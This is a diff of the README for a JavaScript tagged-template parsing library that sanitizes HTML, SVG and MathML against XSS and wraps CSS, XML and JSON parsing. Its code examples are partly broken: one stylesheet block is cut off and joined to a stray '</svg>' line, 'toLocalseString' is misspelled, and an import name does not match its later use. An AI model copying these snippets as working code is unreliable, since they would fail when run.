+This is a lightweight (as little as 6.4Kb, minified and gzipped) library for parsing
 various kinds of content using [tagged template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates).
 
 It makes creating UI components, icons, and stylesheets easy, more secure, and
 reusable. No framework required, though it should be compatible with any
 client-side framework (no SSR - unless a full DOM implementation is provided).
 
-It also sanitizes inputs to protect against XSS attacks, much like DOMPuriy. It
-provides a safer alternative to `innerHTML` and using `<style>`s and protects
-against XSS attacks by removing dangerous elements and attributes, and even
-filtering out dangerous links such as `javascript:` URIs.

+## No Framework Required
+Everything you need is included in `bundle.min.js`. That includes the polyfill
+for the Sanitizer API and exports everything you need. You can use this in nearly
+any website, directly from your console (using `import()`), in CodePen, etc.
+
+Compatibility with any client-side framework you are already using depends on
+how that framework deals with `DocumentFragment`s and `Element`s as DOM objects.
+Any that can render a native DOM Node should work without any struggle. For any
+that do not, perhaps some simple wrapper could be used.

 ## Overview of the Parsers
 
-### `html`
+### `html` Tagged Template
 This uses the Sanitizer API with a sanitizer config allowing HTML & SVG by default.
 It returns a [`DocumentFragment`](https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment),
 allowing for parsing of multiple elements without requiring a container element
@@ -85,28 +137,110 @@ It will strip out dangerous elements such as `<script>`, attributes such as `onc
 and will also remove any `javascript:` or `file:` URI attributes for certain link-type
 attributes such as `href`.
 
-### `css`
+### `css` Tagged Template
 This uses [Constructable StyleSheets](https://web.dev/articles/constructable-stylesheets)
 and returns a [`CSSStyleSheet`](https://developer.mozilla.org/en-US/docs/Web/API/CSSStyleSheet),
 which may be used via `documentOrShadow.adoptedStyleSheets`.
 
-### `svg`
+> [!WARNING]
+> Constructable StyleSheets are not fully compatible with [CSS Custom Properties](https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties).
+> You may use any that are set elsewhere, but you cannot set new ones.
+
+```css
+/* Works */
+
+.foo {
+  color: var(--my-color, red);
+}
+
+/* Does not work */
+
+.foo {
+  --my-color: red;
+}
+```
+
+### `svg` Tagged Template
 This uses `Document.parseHTML()` with a sanitizer config allowing SVG elements
 and attributes, using the correct namespaces. It returns an [`SVGSVGElement`](https://developer.mozilla.org/en-US/docs/Web/API/SVGSVGElement).
 
-### `math`
+### `math` Tagged Template
 This uses `Document.parseHTML()` with a sanitizer config allowing MathML elements
 and attributes, using the correct namespaces. It returns an [`MathMLElement`](https://developer.mozilla.org/en-US/docs/Web/API/MathMLElement).
 
-## `xml`
+### `xml` Tagged Template
 This is just a simple wrapper function using `new DOMParser().parseFromString(str, { type: 'application/xml' })`.
 It does not provide any additional security, only a more convenient way of parsing XML.
 
-## `json`
+### `json` Tagged Template
 This is also just a convenient wrapper that provides no security benefits. It
 just calls `JSON.parse()`.
 
-- - -
+## Reusable Components and Styles
+Write once and use anywhere! You can event put them in a module script and `export`
+components, styles, and icons.
+
+```js
+import { html, css, svg } from '@aegisjsproject/parsers';
+
+export const btnStyles = css`.btn {
+  background-color: #8cb4ff;
+  color: #fafafa;

+</svg>`;
+
+export const someBtn = html`<button class="btn" popovertarget="popover">Click Me!</button>`;
+
+export const popover = html`<div id="popover" popover="auto">
+  <button type="button" popovertarget="popover" popovertargetaction="hide">${closeIcon}</button>
+  <p>Bacon ipsum dolor amet pastrami sirloin kielbasa tenderloin.</p>
+</div>`;
+```
+
+> [!TIP]
+> Store your color palette in perhaps a `palette.js` module to make it easier to
+> keep designs consistent.
+
+### Importing from Modules
+
+```js
+import { showBtn, popover } from './template.js';
+import { styles } from './style.js';
+import { btnStyles, darkTheme, lightTheme } from '../shared-styles.js';
+
+customElements.define('my-component', class MyComponent extends HTMLElement {
+  constructor() {
+    super();
+    this.attachShadow({ mode: 'open' });
+    this.shadowRoot.append(someBtn.cloneNode(true), popover.cloneNode(true));
+    this.shadowRoot.adoptedStyleSheets = [styles, btnStyles, darkTheme, lightTheme];
+  }
+});
+```
+### Composing Components via Functions
+Another great use would be creating a function that returns a component that uses
+data from its arguments:
+
+```js
+export const createComment = ({ username, userId, date, body }) => html`
+  <div class="comment">
+    <div class="comment-header">
+      Posted by <a href="/users/${userId}">${username}</a> on <time datetime="${date.toISOString()}">${date.toLocalseString()}</time>
+    </div>
+    <div class="comment-body">${body}</div>
+  </div>
+`;
+```
+
+> [!WARNING]
+> Although the Sanitizer API does a lot to protect against XSS attacks, it would
+> still be a good idea to create a more restricted parser that only allows for
+> very limited tags and attributes.
